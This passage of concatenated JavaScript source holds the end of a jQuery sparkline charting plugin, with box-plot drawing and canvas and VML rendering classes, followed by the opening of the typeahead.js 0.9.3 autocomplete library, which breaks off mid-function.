Math.round((lwhisker - minValue) * unitSize + canvasLeft),
Math.round(canvasHeight / 2),
Math.round((q1 - minValue) * unitSize + canvasLeft),
Math.round(canvasHeight / 2),
options.get('lineColor')).append();
target.drawLine(
Math.round((lwhisker - minValue) * unitSize + canvasLeft),
Math.round(canvasHeight / 4),
Math.round((lwhisker - minValue) * unitSize + canvasLeft),
Math.round(canvasHeight - canvasHeight / 4),
options.get('whiskerColor')).append();
// right whisker
target.drawLine(Math.round((rwhisker - minValue) * unitSize + canvasLeft),
Math.round(canvasHeight / 2),
Math.round((q3 - minValue) * unitSize + canvasLeft),
Math.round(canvasHeight / 2),
options.get('lineColor')).append();
target.drawLine(
Math.round((rwhisker - minValue) * unitSize + canvasLeft),
Math.round(canvasHeight / 4),
Math.round((rwhisker - minValue) * unitSize + canvasLeft),
Math.round(canvasHeight - canvasHeight / 4),
options.get('whiskerColor')).append();
// median line
target.drawLine(
Math.round((q2 - minValue) * unitSize + canvasLeft),
Math.round(canvasHeight * 0.1),
Math.round((q2 - minValue) * unitSize + canvasLeft),
Math.round(canvasHeight * 0.9),
options.get('medianColor')).append();
if (options.get('target')) {
size = Math.ceil(options.get('spotRadius'));
target.drawLine(
Math.round((options.get('target') - minValue) * unitSize + canvasLeft),
Math.round((canvasHeight / 2) - size),
Math.round((options.get('target') - minValue) * unitSize + canvasLeft),
Math.round((canvasHeight / 2) + size),
options.get('targetColor')).append();
target.drawLine(
Math.round((options.get('target') - minValue) * unitSize + canvasLeft - size),
Math.round(canvasHeight / 2),
Math.round((options.get('target') - minValue) * unitSize + canvasLeft + size),
Math.round(canvasHeight / 2),
options.get('targetColor')).append();
}
target.render();
}
});
// Setup a very simple "virtual canvas" to make drawing the few shapes we need easier
// This is accessible as $(foo).simpledraw()
VShape = createClass({
init: function (target, id, type, args) {
this.target = target;
this.id = id;
this.type = type;
this.args = args;
},
append: function () {
this.target.appendShape(this);
return this;
}
});
VCanvas_base = createClass({
_pxregex: /(\d+)(px)?\s*$/i,
init: function (width, height, target) {
if (!width) {
return;
}
this.width = width;
this.height = height;
this.target = target;
this.lastShapeId = null;
if (target[0]) {
target = target[0];
}
$.data(target, '_jqs_vcanvas', this);
},
drawLine: function (x1, y1, x2, y2, lineColor, lineWidth) {
return this.drawShape([[x1, y1], [x2, y2]], lineColor, lineWidth);
},
drawShape: function (path, lineColor, fillColor, lineWidth) {
return this._genShape('Shape', [path, lineColor, fillColor, lineWidth]);
},
drawCircle: function (x, y, radius, lineColor, fillColor, lineWidth) {
return this._genShape('Circle', [x, y, radius, lineColor, fillColor, lineWidth]);
},
drawPieSlice: function (x, y, radius, startAngle, endAngle, lineColor, fillColor) {
return this._genShape('PieSlice', [x, y, radius, startAngle, endAngle, lineColor, fillColor]);
},
drawRect: function (x, y, width, height, lineColor, fillColor) {
return this._genShape('Rect', [x, y, width, height, lineColor, fillColor]);
},
getElement: function () {
return this.canvas;
},
/**
* Return the most recently inserted shape id
*/
getLastShapeId: function () {
return this.lastShapeId;
},
/**
* Clear and reset the canvas
*/
reset: function () {
alert('reset not implemented');
},
_insert: function (el, target) {
$(target).html(el);
},
/**
* Calculate the pixel dimensions of the canvas
*/
_calculatePixelDims: function (width, height, canvas) {
// XXX This should probably be a configurable option
var match;
match = this._pxregex.exec(height);
if (match) {
this.pixelHeight = match[1];
} else {
this.pixelHeight = $(canvas).height();
}
match = this._pxregex.exec(width);
if (match) {
this.pixelWidth = match[1];
} else {
this.pixelWidth = $(canvas).width();
}
},
/**
* Generate a shape object and id for later rendering
*/
_genShape: function (shapetype, shapeargs) {
var id = shapeCount++;
shapeargs.unshift(id);
return new VShape(this, id, shapetype, shapeargs);
},
/**
* Add a shape to the end of the render queue
*/
appendShape: function (shape) {
alert('appendShape not implemented');
},
/**
* Replace one shape with another
*/
replaceWithShape: function (shapeid, shape) {
alert('replaceWithShape not implemented');
},
/**
* Insert one shape after another in the render queue
*/
insertAfterShape: function (shapeid, shape) {
alert('insertAfterShape not implemented');
},
/**
* Remove a shape from the queue
*/
removeShapeId: function (shapeid) {
alert('removeShapeId not implemented');
},
/**
* Find a shape at the specified x/y co-ordinates
*/
getShapeAt: function (el, x, y) {
alert('getShapeAt not implemented');
},
/**
* Render all queued shapes onto the canvas
*/
render: function () {
alert('render not implemented');
}
});
VCanvas_canvas = createClass(VCanvas_base, {
init: function (width, height, target, interact) {
VCanvas_canvas._super.init.call(this, width, height, target);
this.canvas = document.createElement('canvas');
if (target[0]) {
target = target[0];
}
$.data(target, '_jqs_vcanvas', this);
$(this.canvas).css({ display: 'inline-block', width: width, height: height, verticalAlign: 'top' });
this._insert(this.canvas, target);
this._calculatePixelDims(width, height, this.canvas);
this.canvas.width = this.pixelWidth;
this.canvas.height = this.pixelHeight;
this.interact = interact;
this.shapes = {};
this.shapeseq = [];
this.currentTargetShapeId = undefined;
$(this.canvas).css({width: this.pixelWidth, height: this.pixelHeight});
},
_getContext: function (lineColor, fillColor, lineWidth) {
var context = this.canvas.getContext('2d');
if (lineColor !== undefined) {
context.strokeStyle = lineColor;
}
context.lineWidth = lineWidth === undefined ? 1 : lineWidth;
if (fillColor !== undefined) {
context.fillStyle = fillColor;
}
return context;
},
reset: function () {
var context = this._getContext();
context.clearRect(0, 0, this.pixelWidth, this.pixelHeight);
this.shapes = {};
this.shapeseq = [];
this.currentTargetShapeId = undefined;
},
_drawShape: function (shapeid, path, lineColor, fillColor, lineWidth) {
var context = this._getContext(lineColor, fillColor, lineWidth),
i, plen;
context.beginPath();
context.moveTo(path[0][0] + 0.5, path[0][1] + 0.5);
for (i = 1, plen = path.length; i < plen; i++) {
context.lineTo(path[i][0] + 0.5, path[i][1] + 0.5); // the 0.5 offset gives us crisp pixel-width lines
}
if (lineColor !== undefined) {
context.stroke();
}
if (fillColor !== undefined) {
context.fill();
}
if (this.targetX !== undefined && this.targetY !== undefined &&
context.isPointInPath(this.targetX, this.targetY)) {
this.currentTargetShapeId = shapeid;
}
},
_drawCircle: function (shapeid, x, y, radius, lineColor, fillColor, lineWidth) {
var context = this._getContext(lineColor, fillColor, lineWidth);
context.beginPath();
context.arc(x, y, radius, 0, 2 * Math.PI, false);
if (this.targetX !== undefined && this.targetY !== undefined &&
context.isPointInPath(this.targetX, this.targetY)) {
this.currentTargetShapeId = shapeid;
}
if (lineColor !== undefined) {
context.stroke();
}
if (fillColor !== undefined) {
context.fill();
}
},
_drawPieSlice: function (shapeid, x, y, radius, startAngle, endAngle, lineColor, fillColor) {
var context = this._getContext(lineColor, fillColor);
context.beginPath();
context.moveTo(x, y);
context.arc(x, y, radius, startAngle, endAngle, false);
context.lineTo(x, y);
context.closePath();
if (lineColor !== undefined) {
context.stroke();
}
if (fillColor) {
context.fill();
}
if (this.targetX !== undefined && this.targetY !== undefined &&
context.isPointInPath(this.targetX, this.targetY)) {
this.currentTargetShapeId = shapeid;
}
},
_drawRect: function (shapeid, x, y, width, height, lineColor, fillColor) {
return this._drawShape(shapeid, [[x, y], [x + width, y], [x + width, y + height], [x, y + height], [x, y]], lineColor, fillColor);
},
appendShape: function (shape) {
this.shapes[shape.id] = shape;
this.shapeseq.push(shape.id);
this.lastShapeId = shape.id;
return shape.id;
},
replaceWithShape: function (shapeid, shape) {
var shapeseq = this.shapeseq,
i;
this.shapes[shape.id] = shape;
for (i = shapeseq.length; i--;) {
if (shapeseq[i] == shapeid) {
shapeseq[i] = shape.id;
}
}
delete this.shapes[shapeid];
},
replaceWithShapes: function (shapeids, shapes) {
var shapeseq = this.shapeseq,
shapemap = {},
sid, i, first;
for (i = shapeids.length; i--;) {
shapemap[shapeids[i]] = true;
}
for (i = shapeseq.length; i--;) {
sid = shapeseq[i];
if (shapemap[sid]) {
shapeseq.splice(i, 1);
delete this.shapes[sid];
first = i;
}
}
for (i = shapes.length; i--;) {
shapeseq.splice(first, 0, shapes[i].id);
this.shapes[shapes[i].id] = shapes[i];
}
},
insertAfterShape: function (shapeid, shape) {
var shapeseq = this.shapeseq,
i;
for (i = shapeseq.length; i--;) {
if (shapeseq[i] === shapeid) {
shapeseq.splice(i + 1, 0, shape.id);
this.shapes[shape.id] = shape;
return;
}
}
},
removeShapeId: function (shapeid) {
var shapeseq = this.shapeseq,
i;
for (i = shapeseq.length; i--;) {
if (shapeseq[i] === shapeid) {
shapeseq.splice(i, 1);
break;
}
}
delete this.shapes[shapeid];
},
getShapeAt: function (el, x, y) {
this.targetX = x;
this.targetY = y;
this.render();
return this.currentTargetShapeId;
},
render: function () {
var shapeseq = this.shapeseq,
shapes = this.shapes,
shapeCount = shapeseq.length,
context = this._getContext(),
shapeid, shape, i;
context.clearRect(0, 0, this.pixelWidth, this.pixelHeight);
for (i = 0; i < shapeCount; i++) {
shapeid = shapeseq[i];
shape = shapes[shapeid];
this['_draw' + shape.type].apply(this, shape.args);
}
if (!this.interact) {
// not interactive so no need to keep the shapes array
this.shapes = {};
this.shapeseq = [];
}
}
});
VCanvas_vml = createClass(VCanvas_base, {
init: function (width, height, target) {
var groupel;
VCanvas_vml._super.init.call(this, width, height, target);
if (target[0]) {
target = target[0];
}
$.data(target, '_jqs_vcanvas', this);
this.canvas = document.createElement('span');
$(this.canvas).css({ display: 'inline-block', position: 'relative', overflow: 'hidden', width: width, height: height, margin: '0px', padding: '0px', verticalAlign: 'top'});
this._insert(this.canvas, target);
this._calculatePixelDims(width, height, this.canvas);
this.canvas.width = this.pixelWidth;
this.canvas.height = this.pixelHeight;
groupel = '<v:group coordorigin="0 0" coordsize="' + this.pixelWidth + ' ' + this.pixelHeight + '"' +
' style="position:absolute;top:0;left:0;width:' + this.pixelWidth + 'px;height=' + this.pixelHeight + 'px;"></v:group>';
this.canvas.insertAdjacentHTML('beforeEnd', groupel);
this.group = $(this.canvas).children()[0];
this.rendered = false;
this.prerender = '';
},
_drawShape: function (shapeid, path, lineColor, fillColor, lineWidth) {
var vpath = [],
initial, stroke, fill, closed, vel, plen, i;
for (i = 0, plen = path.length; i < plen; i++) {
vpath[i] = '' + (path[i][0]) + ',' + (path[i][1]);
}
initial = vpath.splice(0, 1);
lineWidth = lineWidth === undefined ? 1 : lineWidth;
stroke = lineColor === undefined ? ' stroked="false" ' : ' strokeWeight="' + lineWidth + 'px" strokeColor="' + lineColor + '" ';
fill = fillColor === undefined ? ' filled="false"' : ' fillColor="' + fillColor + '" filled="true" ';
closed = vpath[0] === vpath[vpath.length - 1] ? 'x ' : '';
vel = '<v:shape coordorigin="0 0" coordsize="' + this.pixelWidth + ' ' + this.pixelHeight + '" ' +
' id="jqsshape' + shapeid + '" ' +
stroke +
fill +
' style="position:absolute;left:0px;top:0px;height:' + this.pixelHeight + 'px;width:' + this.pixelWidth + 'px;padding:0px;margin:0px;" ' +
' path="m ' + initial + ' l ' + vpath.join(', ') + ' ' + closed + 'e">' +
' </v:shape>';
return vel;
},
_drawCircle: function (shapeid, x, y, radius, lineColor, fillColor, lineWidth) {
var stroke, fill, vel;
x -= radius;
y -= radius;
stroke = lineColor === undefined ? ' stroked="false" ' : ' strokeWeight="' + lineWidth + 'px" strokeColor="' + lineColor + '" ';
fill = fillColor === undefined ? ' filled="false"' : ' fillColor="' + fillColor + '" filled="true" ';
vel = '<v:oval ' +
' id="jqsshape' + shapeid + '" ' +
stroke +
fill +
' style="position:absolute;top:' + y + 'px; left:' + x + 'px; width:' + (radius * 2) + 'px; height:' + (radius * 2) + 'px"></v:oval>';
return vel;
},
_drawPieSlice: function (shapeid, x, y, radius, startAngle, endAngle, lineColor, fillColor) {
var vpath, startx, starty, endx, endy, stroke, fill, vel;
if (startAngle === endAngle) {
return ''; // VML seems to have problem when start angle equals end angle.
}
if ((endAngle - startAngle) === (2 * Math.PI)) {
startAngle = 0.0; // VML seems to have a problem when drawing a full circle that doesn't start 0
endAngle = (2 * Math.PI);
}
startx = x + Math.round(Math.cos(startAngle) * radius);
starty = y + Math.round(Math.sin(startAngle) * radius);
endx = x + Math.round(Math.cos(endAngle) * radius);
endy = y + Math.round(Math.sin(endAngle) * radius);
if (startx === endx && starty === endy) {
if ((endAngle - startAngle) < Math.PI) {
// Prevent very small slices from being mistaken as a whole pie
return '';
}
// essentially going to be the entire circle, so ignore startAngle
startx = endx = x + radius;
starty = endy = y;
}
if (startx === endx && starty === endy && (endAngle - startAngle) < Math.PI) {
return '';
}
vpath = [x - radius, y - radius, x + radius, y + radius, startx, starty, endx, endy];
stroke = lineColor === undefined ? ' stroked="false" ' : ' strokeWeight="1px" strokeColor="' + lineColor + '" ';
fill = fillColor === undefined ? ' filled="false"' : ' fillColor="' + fillColor + '" filled="true" ';
vel = '<v:shape coordorigin="0 0" coordsize="' + this.pixelWidth + ' ' + this.pixelHeight + '" ' +
' id="jqsshape' + shapeid + '" ' +
stroke +
fill +
' style="position:absolute;left:0px;top:0px;height:' + this.pixelHeight + 'px;width:' + this.pixelWidth + 'px;padding:0px;margin:0px;" ' +
' path="m ' + x + ',' + y + ' wa ' + vpath.join(', ') + ' x e">' +
' </v:shape>';
return vel;
},
_drawRect: function (shapeid, x, y, width, height, lineColor, fillColor) {
return this._drawShape(shapeid, [[x, y], [x, y + height], [x + width, y + height], [x + width, y], [x, y]], lineColor, fillColor);
},
reset: function () {
this.group.innerHTML = '';
},
appendShape: function (shape) {
var vel = this['_draw' + shape.type].apply(this, shape.args);
if (this.rendered) {
this.group.insertAdjacentHTML('beforeEnd', vel);
} else {
this.prerender += vel;
}
this.lastShapeId = shape.id;
return shape.id;
},
replaceWithShape: function (shapeid, shape) {
var existing = $('#jqsshape' + shapeid),
vel = this['_draw' + shape.type].apply(this, shape.args);
existing[0].outerHTML = vel;
},
replaceWithShapes: function (shapeids, shapes) {
// replace the first shapeid with all the new shapes then toast the remaining old shapes
var existing = $('#jqsshape' + shapeids[0]),
replace = '',
slen = shapes.length,
i;
for (i = 0; i < slen; i++) {
replace += this['_draw' + shapes[i].type].apply(this, shapes[i].args);
}
existing[0].outerHTML = replace;
for (i = 1; i < shapeids.length; i++) {
$('#jqsshape' + shapeids[i]).remove();
}
},
insertAfterShape: function (shapeid, shape) {
var existing = $('#jqsshape' + shapeid),
vel = this['_draw' + shape.type].apply(this, shape.args);
existing[0].insertAdjacentHTML('afterEnd', vel);
},
removeShapeId: function (shapeid) {
var existing = $('#jqsshape' + shapeid);
this.group.removeChild(existing[0]);
},
getShapeAt: function (el, x, y) {
var shapeid = el.id.substr(8);
return shapeid;
},
render: function () {
if (!this.rendered) {
// batch the intial render into a single repaint
this.group.innerHTML = this.prerender;
this.rendered = true;
}
}
});
}))}(document, Math));
| JavaScript |
/*!
* typeahead.js 0.9.3
* https://github.com/twitter/typeahead
* Copyright 2013 Twitter, Inc. and other contributors; Licensed MIT
*/
(function($) {
var VERSION = "0.9.3";
var utils = {
isMsie: function() {
var match = /(msie) ([\w.]+)/i.exec(navigator.userAgent);
return match ? parseInt(match[2], 10) : false;
},
isBlankString: function(str) {
return !str || /^\s*$/.test(str);
},
escapeRegExChars: function(str) {
return str.replace(/[\-\[\]\/\{\}\(\)\*\+\?\.\\\^\$\|]/g, "\\$&");
},
isString: function(obj) {
return typeof obj === "string";
},
isNumber: function(obj) {
return typeof obj === "number";
},
isArray: $.isArray,
isFunction: $.isFunction,
isObject: $.isPlainObject,
isUndefined: function(obj) {
return typeof obj === "undefined";
},
bind: $.proxy,
bindAll: function(obj) {
var val;
for (var key in obj) {
$.isFunction(val = obj[key]) && (obj[key] = $.proxy(val, obj));
}
},
indexOf: function(haystack, needle) {
for (var i = 0; i < haystack.length; i++) {
if (haystack[i] === needle) {
return i;
}
}
return -1;
},
each: $.each,
map: $.map,
filter: $.grep,
every: function(obj, test) {
var result = true;
if (!obj) {
return result;
}
$.each(obj, function(key, val) {
if (!(result = test.call(null, val, key, obj))) {
return false;
}
});
return !!result;
},
some: function(obj, test) {
var result = false;
if (!obj) {
return result;
}
$.each(obj, function(key, val) {
if (result = test.call(null, val, key, obj)) {
return false;
}
});
return !!result;
},
mixin: $.extend,
getUniqueId: function() {
var counter = 0;
return function() {
return counter++;
};
}(),
defer: function(fn) {
setTimeout(fn, 0);
},
debounce: function(func, wait, immediate) {
var timeout, result;
return function() {
var context = this, args = arguments, later, callNow;
later = function() {
timeout = null;
if (!immediate) {
result = func.apply(context, args);
}
};
callNow = immediate && !timeout;
clearTimeout(timeout);
timeout = setTimeout(later, wait);
if (callNow) {
result = func.apply(context, args);
}
return result;
};
},
throttle: function(func, wait) {
var context, args, timeout, result, previous, later;
previous = 0;
later = function() {
previous = new Date();
timeout = null;
result = func.apply(context, args);
};
return function() {
var now = new Date(), remaining = wait - (now - previous);
context = this;
args = arguments;
if (remaining <= 0) {
clearTimeout(timeout);
timeout = null;
previous = now;
result = func.apply(context, args);
} else if (!timeout) {
timeout = setTimeout(later, remaining);
}
return result;
};
},
tokenizeQuery: function(str) {
return $.trim(str).toLowerCase().split(/[\s]+/);
},
tokenizeText: function(str) {
return $.trim(str).toLowerCase().split(/[\s\-_]+/);
},
getProtocol: function() {
return location.protocol;
},
noop: function() {}
};
var EventTarget = function() {
var eventSplitter = /\s+/;
return {
on: function(events, callback) {
var event;
if (!callback) {
return this;
}
this._callbacks = this._callbacks || {};
events = events.split(eventSplitter);
while (event = events.shift()) {
this._callbacks[event] = this._callbacks[event] || [];
this._callbacks[event].push(callback);
}
return this;
},
trigger: function(events, data) {
var event, callbacks;
if (!this._callbacks) {
return this;
}
events = events.split(eventSplitter);
while (event = events.shift()) {
if (callbacks = this._callbacks[event]) {
for (var i = 0; i < callbacks.length; i += 1) {
callbacks[i].call(this, {
type: event,
data: data
});
}
}
}
return this;
}
};
}();
var EventBus = function() {
var namespace = "typeahead:";
function EventBus(o) {
if (!o || !o.el) {
$.error("EventBus initialized without el");
}
this.$el = $(o.el);
}
utils.mixin(EventBus.prototype, {
trigger: function(type) {
var args = [].slice.call(arguments, 1);
this.$el.trigger(namespace + type, args);
}
});
return EventBus;
}();
var PersistentStorage = function() {
var ls, methods;
try {
ls = window.localStorage;
ls.setItem("~~~", "!");
ls.removeItem("~~~");
} catch (err) {
ls = null;
}
function PersistentStorage(namespace) {
this.prefix = [ "__", namespace, "__" ].join("");
this.ttlKey = "__ttl__";
this.keyMatcher = new RegExp("^" + this.prefix);
}
if (ls && window.JSON) {
methods = {
_prefix: function(key) {
return this.prefix + key;
},
_ttlKey: function(key) {
return this._prefix(key) + this.ttlKey;
},
get: function(key) {
if (this.isExpired(key)) {
this.remove(key);
}
return decode(ls.getItem(this._prefix(key)));
},
set: function(key, val, ttl) {
if (utils.isNumber(ttl)) {
ls.setItem(this._ttlKey(key), encode(now() + ttl));
} else {
ls.removeItem(this._ttlKey(key));
}
return ls.setItem(this._prefix(key), encode(val));
},
remove: function(key) {
ls.removeItem(this._ttlKey(key));
ls.removeItem(this._prefix(key));
return this;
},
clear: function() {
var i, key, keys = [], len = ls.length;
for (i = 0; i < len; i++) {
if ((key = ls.key(i)).match(this.keyMatcher)) {
keys.push(key.replace(this.keyMatcher, ""));
}
}
for (i = keys.length; i--; ) {
this.remove(keys[i]);
}
return this;
},
isExpired: function(key) {
var ttl = decode(ls.getItem(this._ttlKey(key)));
return utils.isNumber(ttl) && now() > ttl ? true : false;
}
};
} else {
methods = {
get: utils.noop,
set: utils.noop,
remove: utils.noop,
clear: utils.noop,
isExpired: utils.noop
};
}
utils.mixin(PersistentStorage.prototype, methods);
return PersistentStorage;
function now() {
return new Date().getTime();
}
function encode(val) {
return JSON.stringify(utils.isUndefined(val) ? null : val);
}
function decode(val) {
return JSON.parse(val);
}
}();
var RequestCache = function() {
function RequestCache(o) {
utils.bindAll(this);
o = o || {};
this.sizeLimit = o.sizeLimit || 10;
this.cache = {};
this.cachedKeysByAge = [];
}
utils.mixin(RequestCache.prototype, {
get: function(url) {
return this.cache[url];
},
set: function(url, resp) {
var requestToEvict;
if (this.cachedKeysByAge.length === this.sizeLimit) {
requestToEvict = this.cachedKeysByAge.shift();
delete this.cache[requestToEvict];
}
this.cache[url] = resp;
this.cachedKeysByAge.push(url);
}
});
return RequestCache;
}();
var Transport = function() {
var pendingRequestsCount = 0, pendingRequests = {}, maxPendingRequests, requestCache;
function Transport(o) {
utils.bindAll(this);
o = utils.isString(o) ? {
url: o
} : o;
requestCache = requestCache || new RequestCache();
maxPendingRequests = utils.isNumber(o.maxParallelRequests) ? o.maxParallelRequests : maxPendingRequests || 6;
this.url = o.url;
this.wildcard = o.wildcard || "%QUERY";
this.filter = o.filter;
this.replace = o.replace;
this.ajaxSettings = {
type: "get",
cache: o.cache,
timeout: o.timeout,
dataType: o.dataType || "json",
beforeSend: o.beforeSend
};
this._get = (/^throttle$/i.test(o.rateLimitFn) ? utils.throttle : utils.debounce)(this._get, o.rateLimitWait || 300);
}
utils.mixin(Transport.prototype, {
_get: function(url, cb) {
var that = this;
if (belowPendingRequestsThreshold()) {
this._sendRequest(url).done(done);
} else {
this.onDeckRequestArgs = [].slice.call(arguments, 0);
}
function done(resp) {
var data = that.filter ? that.filter(resp) : resp;
cb && cb(data);
requestCache.set(url, resp);
}
},
_sendRequest: function(url) {
var that = this, jqXhr = pendingRequests[url];
if (!jqXhr) {
incrementPendingRequests();
jqXhr = pendingRequests[url] = $.ajax(url, this.ajaxSettings).always(always);
}
return jqXhr;
function always() {
decrementPendingRequests();
pendingRequests[url] = null;
if (that.onDeckRequestArgs) {
that._get.apply(that, that.onDeckRequestArgs);
that.onDeckRequestArgs = null;
}
}
},
get: function(query, cb) {
var that = this, encodedQuery = encodeURIComponent(query || ""), url, resp;
cb = cb || utils.noop;
url = this.replace ? this.replace(this.url, encodedQuery) : this.url.replace(this.wildcard, encodedQuery);
if (resp = requestCache.get(url)) {
utils.defer(function() {
cb(that.filter ? that.filter(resp) : resp);
});
} else {
this._get(url, cb);
}
return !!resp;
}
});
return Transport;
function incrementPendingRequests() {
pendingRequestsCount++;
}
function decrementPendingRequests() {
pendingRequestsCount--;
}
function belowPendingRequestsThreshold() {
return pendingRequestsCount < maxPendingRequests;
}
}();
var Dataset = function() {
var keys = {
thumbprint: "thumbprint",
protocol: "protocol",
itemHash: "itemHash",
adjacencyList: "adjacencyList"
};
function Dataset(o) {
utils.bindAll(this);
if (utils.isString(o.template) && !o.engine) {
$.error("no template engine specified");
}
if (!o.local && !o.prefetch && !o.remote) {
$.error("one of local, prefetch, or remote is required");
}
this.name = o.name || utils.getUniqueId();
this.limit = o.limit || 5;
this.minLength = o.minLength || 1;
this.header = o.header;
this.footer = o.footer;
this.valueKey = o.valueKey || "value";
this.template = compileTemplate(o.template, o.engine, this.valueKey);
this.local = o.local;
this.prefetch = o.prefetch;
this.remote = o.remote;
this.itemHash = {};
this.adjacencyList = {};
this.storage = o.name ? new PersistentStorage(o.name) : null;
}
utils.mixin(Dataset.prototype, {
_processLocalData: function(data) {
this._mergeProcessedData(this._processData(data));
},
_loadPrefetchData: function(o) {
var that = this, thumbprint = VERSION + (o.thumbprint || ""), storedThumbprint, storedProtocol, storedItemHash, storedAdjacencyList, isExpired, deferred;
if (this.storage) {
storedThumbprint = this.storage.get(keys.thumbprint);
storedProtocol = this.storage.get(keys.protocol);
storedItemHash = this.storage.get(keys.itemHash);
storedAdjacencyList = this.storage.get(keys.adjacencyList);
}
isExpired = storedThumbprint !== thumbprint || storedProtocol !== utils.getProtocol();
o = utils.isString(o) ? {
url: o
} : o;
o.ttl = utils.isNumber(o.ttl) ? o.ttl : 24 * 60 * 60 * 1e3;
if (storedItemHash && storedAdjacencyList && !isExpired) {
this._mergeProcessedData({
itemHash: storedItemHash,
adjacencyList: storedAdjacencyList
});
deferred = $.Deferred().resolve();
} else {
deferred = $.getJSON(o.url).done(processPrefetchData);
}
return deferred;
function processPrefetchData(data) {
var filteredData = o.filter ? o.filter(data) : data, processedData = that._processData(filteredData), itemHash = processedData.itemHash, adjacencyList = processedData.adjacencyList;
if (that.storage) {
that.storage.set(keys.itemHash, itemHash, o.ttl);
that.storage.set(keys.adjacencyList, adjacencyList, o.ttl);
that.storage.set(keys.thumbprint, thumbprint, o.ttl);
that.storage.set(keys.protocol, utils.getProtocol(), o.ttl);
}
that._mergeProcessedData(processedData);
}
},
_transformDatum: function(datum) {
var value = utils.isString(datum) ? datum : datum[this.valueKey], tokens = datum.tokens || utils.tokenizeText(value), item = {
value: value,
tokens: tokens
};
if (utils.isString(datum)) {
item.datum = {};
item.datum[this.valueKey] = datum;
} else {
item.datum = datum;
}
item.tokens = utils.filter(item.tokens, function(token) {
return !utils.isBlankString(token);
});
item.tokens = utils.map(item.tokens, function(token) {
return token.toLowerCase();
});
return item;
},
_processData: function(data) {
var that = this, itemHash = {}, adjacencyList = {};
utils.each(data, function(i, datum) {
var item = that._transformDatum(datum), id = utils.getUniqueId(item.value);
itemHash[id] = item;
utils.each(item.tokens, function(i, token) {
var character = token.charAt(0), adjacency = adjacencyList[character] || (adjacencyList[character] = [ id ]);
!~utils.indexOf(adjacency, id) && adjacency.push(id);
});
});
return {
itemHash: itemHash,
adjacencyList: adjacencyList
};
},
_mergeProcessedData: function(processedData) {
var that = this;
utils.mixin(this.itemHash, processedData.itemHash);
utils.each(processedData.adjacencyList, function(character, adjacency) {
var masterAdjacency = that.adjacencyList[character];
that.adjacencyList[character] = masterAdjacency ? masterAdjacency.concat(adjacency) : adjacency;
});
},
_getLocalSuggestions: function(terms) {
var that = this, firstChars = [], lists = [], shortestList, suggestions = [];
utils.each(terms, function(i, term) {
var firstChar = term.charAt(0);
!~utils.indexOf(firstChars, firstChar) && firstChars.push(firstChar);
});
utils.each(firstChars, function(i, firstChar) {
var list = that.adjacencyList[firstChar];
if (!list) {
return false;
}
lists.push(list);
if (!shortestList || list.length < shortestList.length) {
shortestList = list;
}
});
if (lists.length < firstChars.length) {
return [];
}
utils.each(shortestList, function(i, id) {
var item = that.itemHash[id], isCandidate, isMatch;
isCandidate = utils.every(lists, function(list) {
return ~utils.indexOf(list, id);
});
isMatch = isCandidate && utils.every(terms, function(term) {
return utils.some(item.tokens, function(token) {
return token.indexOf(term) === 0;
});
});
isMatch && suggestions.push(item);
});
return suggestions;
},
initialize: function() {
var deferred;
this.local && this._processLocalData(this.local);
this.transport = this.remote ? new Transport(this.remote) : null;
deferred = this.prefetch ? this._loadPrefetchData(this.prefetch) : $.Deferred().resolve();
this.local = this.prefetch = this.remote = null;
this.initialize = function() {
return deferred;
};
return deferred;
},
getSuggestions: function(query, cb) {
var that = this, terms, suggestions, cacheHit = false;
if (query.length < this.minLength) {
return;
}
terms = utils.tokenizeQuery(query);
suggestions = this._getLocalSuggestions(terms).slice(0, this.limit);
if (suggestions.length < this.limit && this.transport) {
cacheHit = this.transport.get(query, processRemoteData);
}
!cacheHit && cb && cb(suggestions);
function processRemoteData(data) {
suggestions = suggestions.slice(0);
utils.each(data, function(i, datum) {
var item = that._transformDatum(datum), isDuplicate;
isDuplicate = utils.some(suggestions, function(suggestion) {
return item.value === suggestion.value;
});
!isDuplicate && suggestions.push(item);
return suggestions.length < that.limit;
});
cb && cb(suggestions);
}
}
});
return Dataset;
function compileTemplate(template, engine, valueKey) {
var renderFn, compiledTemplate;
if (utils.isFunction(template)) {
renderFn = template;
} else if (utils.isString(template)) {
compiledTemplate = engine.compile(template);
renderFn = utils.bind(compiledTemplate.render, compiledTemplate);
} else {
renderFn = function(context) {
return "<p>" + context[valueKey] + "</p>";
};
}
return renderFn;
}
}();
var InputView = function() {
function InputView(o) {
var that = this;
utils.bindAll(this);
this.specialKeyCodeMap = {
9: "tab",
27: "esc",
37: "left",
39: "right",
13: "enter",
38: "up",
40: "down"
};
this.$hint = $(o.hint);
this.$input = $(o.input).on("blur.tt", this._handleBlur).on("focus.tt", this._handleFocus).on("keydown.tt", this._handleSpecialKeyEvent);
if (!utils.isMsie()) {
this.$input.on("input.tt", this._compareQueryToInputValue);
} else {
this.$input.on("keydown.tt keypress.tt cut.tt paste.tt", function($e) {
if (that.specialKeyCodeMap[$e.which || $e.keyCode]) {
return;
}
utils.defer(that._compareQueryToInputValue);
});
}
this.query = this.$input.val();
this.$overflowHelper = buildOverflowHelper(this.$input);
}
utils.mixin(InputView.prototype, EventTarget, {
_handleFocus: function() {
this.trigger("focused");
},
_handleBlur: function() {
this.trigger("blured");
},
_handleSpecialKeyEvent: function($e) {
var keyName = this.specialKeyCodeMap[$e.which || $e.keyCode];
keyName && this.trigger(keyName + "Keyed", $e);
},
_compareQueryToInputValue: function() {
var inputValue = this.getInputValue(), isSameQuery = compareQueries(this.query, inputValue), isSameQueryExceptWhitespace = isSameQuery ? this.query.length !== inputValue.length : false;
if (isSameQueryExceptWhitespace) {
this.trigger("whitespaceChanged", {
value: this.query
});
} else if (!isSameQuery) {
this.trigger("queryChanged", {
value: this.query = inputValue
});
}
},
destroy: function() {
this.$hint.off(".tt");
this.$input.off(".tt");
this.$hint = this.$input = this.$overflowHelper = null;
},
focus: function() {
this.$input.focus();
},
blur: function() {
this.$input.blur();
},
getQuery: function() {
return this.query;
},
setQuery: function(query) {
this.query = query;
},
getInputValue: function() {
return this.$input.val();
},
setInputValue: function(value, silent) {
this.$input.val(value);
!silent && this._compareQueryToInputValue();
},
getHintValue: function() {
return this.$hint.val();
},
setHintValue: function(value) {
this.$hint.val(value);
},
getLanguageDirection: function() {
return (this.$input.css("direction") || "ltr").toLowerCase();
},
isOverflow: function() {
this.$overflowHelper.text(this.getInputValue());
return this.$overflowHelper.width() > this.$input.width();
},
isCursorAtEnd: function() {
var valueLength = this.$input.val().length, selectionStart = this.$input[0].selectionStart, range;
if (utils.isNumber(selectionStart)) {
return selectionStart === valueLength;
} else if (document.selection) {
range = document.selection.createRange();
range.moveStart("character", -valueLength);
return valueLength === range.text.length;
}
